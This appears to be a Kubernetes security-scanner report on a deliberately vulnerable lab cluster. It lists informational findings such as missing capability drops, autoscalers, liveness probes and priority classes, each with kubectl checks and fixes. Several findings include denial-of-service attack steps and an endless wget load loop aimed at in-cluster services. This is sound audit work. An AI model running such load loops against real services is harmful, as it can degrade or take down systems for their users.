Container 'poor-registry' in Deployment 'poor-registry-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/internal-proxy-deployment ยท default container
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/build-code-deployment ยท default container
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment build-code-deployment -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/cache-store-deployment ยท secure-middleware container
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing Capabilities Drop ALLCIS 5.2.7 ยท L1 Deployment/metadata-db ยท default container
โ€บ

Container 'metadata-db' in Deployment 'metadata-db' does not drop all capabilities (CIS Benchmark).

INFO - CIS Benchmark violation: containers retain unnecessary Linux capabilities

Add capabilities: { drop: ["ALL"] } to container securityContext.
# VALIDATION: Check Capabilities Drop ALL

kubectl get Deployment metadata-db -n default -o yaml | grep -A5 capabilities
# Should show "drop: [ALL]" โ€” empty = VULNERABLE

# REMEDIATION:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
โšช INFO
Missing HorizontalPodAutoscaler Deployment/internal-proxy-deployment ยท default workload
โ€บ

Deployment 'internal-proxy-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://internal-proxy-deployment.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment internal-proxy-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing HorizontalPodAutoscaler Deployment/build-code-deployment ยท default workload
โ€บ

Deployment 'build-code-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://build-code-deployment.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment build-code-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing HorizontalPodAutoscaler Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Deployment 'cache-store-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n secure-middleware

# Check current resource usage that would trigger scaling
kubectl top pods -n secure-middleware

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://cache-store-deployment.secure-middleware.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n secure-middleware -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment cache-store-deployment \
  --cpu-percent=70 --min=2 --max=10 -n secure-middleware
โšช INFO
Missing HorizontalPodAutoscaler Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Deployment 'hunger-check-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n big-monolith

# Check current resource usage that would trigger scaling
kubectl top pods -n big-monolith

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://hunger-check-deployment.big-monolith.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n big-monolith -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment hunger-check-deployment \
  --cpu-percent=70 --min=2 --max=10 -n big-monolith
โšช INFO
Missing HorizontalPodAutoscaler Deployment/metadata-db ยท default workload
โ€บ

Deployment 'metadata-db' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://metadata-db.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment metadata-db \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing HorizontalPodAutoscaler Deployment/health-check-deployment ยท default workload
โ€บ

Deployment 'health-check-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://health-check-deployment.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment health-check-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing HorizontalPodAutoscaler Deployment/poor-registry-deployment ยท default workload
โ€บ

Deployment 'poor-registry-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://poor-registry-deployment.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment poor-registry-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing HorizontalPodAutoscaler Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Deployment 'local-path-provisioner' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n local-path-storage

# Check current resource usage that would trigger scaling
kubectl top pods -n local-path-storage

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://local-path-provisioner.local-path-storage.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n local-path-storage -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment local-path-provisioner \
  --cpu-percent=70 --min=2 --max=10 -n local-path-storage
โšช INFO
Missing HorizontalPodAutoscaler Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Deployment 'kubernetes-goat-home-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://kubernetes-goat-home-deployment.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment kubernetes-goat-home-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing HorizontalPodAutoscaler Deployment/system-monitor-deployment ยท default workload
โ€บ

Deployment 'system-monitor-deployment' has no HPA โ€” the workload cannot automatically scale under load, risking resource exhaustion or over-provisioning.

INFO - Without HPA, the workload cannot autoscale; sustained traffic spikes cause performance degradation or service outage

Add a HorizontalPodAutoscaler targeting this deployment with CPU or memory metrics to enable autoscaling.
  • No HorizontalPodAutoscaler โ€” workload cannot scale under load
  • Single-replica deployments become unavailable under traffic spikes
  • CPU/memory exhaustion causes OOMKill or CrashLoopBackOff
  • An attacker can intentionally cause resource exhaustion (DoS via traffic)
  1. Send sustained traffic exceeding current replica capacity
  2. Without HPA, no additional replicas are created
  3. CPU throttling or OOM causes degraded response times or crashes
  4. Result: Service degradation from load spikes or intentional DoS
# INFO: Missing HorizontalPodAutoscaler - No Auto-Scaling

# Verify no HPA exists
kubectl get hpa -n default

# Check current resource usage that would trigger scaling
kubectl top pods -n default

# Simulate load to demonstrate lack of scaling
kubectl run load-test --rm -it --image=busybox --restart=Never -- \
  sh -c "while true; do wget -q -O- http://system-monitor-deployment.default.svc.cluster.local/; done"

# Watch pod count โ€” it will NOT increase without HPA
kubectl get pods -n default -w

# REMEDIATION: Create HPA targeting CPU utilization:
kubectl autoscale deployment system-monitor-deployment \
  --cpu-percent=70 --min=2 --max=10 -n default
โšช INFO
Missing Liveness Probe Deployment/build-code-deployment ยท default workload
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment build-code-deployment -n default | grep -i liveness
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/system-monitor-deployment ยท default workload
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment system-monitor-deployment -n default | grep -i liveness
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -i liveness
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/internal-proxy-deployment ยท default workload
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment internal-proxy-deployment -n default | grep -i liveness
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/health-check-deployment ยท default workload
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment health-check-deployment -n default | grep -i liveness
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -i liveness
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/poor-registry-deployment ยท default workload
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment poor-registry-deployment -n default | grep -i liveness
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -i liveness
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Liveness Probe Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' has no liveness probe.

INFO - Unhealthy containers may not restart automatically, causing service degradation

Add a livenessProbe to enable automatic container restart on deadlock.
# VALIDATION: Check Liveness Probe

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -i liveness
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A5 livenessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing PriorityClass Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Deployment 'cache-store-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment cache-store-deployment -n secure-middleware \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n secure-middleware -l app=cache-store-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/build-code-deployment ยท default workload
โ€บ

Deployment 'build-code-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment build-code-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=build-code-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/metadata-db ยท default workload
โ€บ

Deployment 'metadata-db' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment metadata-db -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=metadata-db \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Deployment 'local-path-provisioner' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment local-path-provisioner -n local-path-storage \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n local-path-storage -l app=local-path-provisioner \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Deployment 'kubernetes-goat-home-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment kubernetes-goat-home-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=kubernetes-goat-home-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Deployment 'hunger-check-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment hunger-check-deployment -n big-monolith \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n big-monolith -l app=hunger-check-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/system-monitor-deployment ยท default workload
โ€บ

Deployment 'system-monitor-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
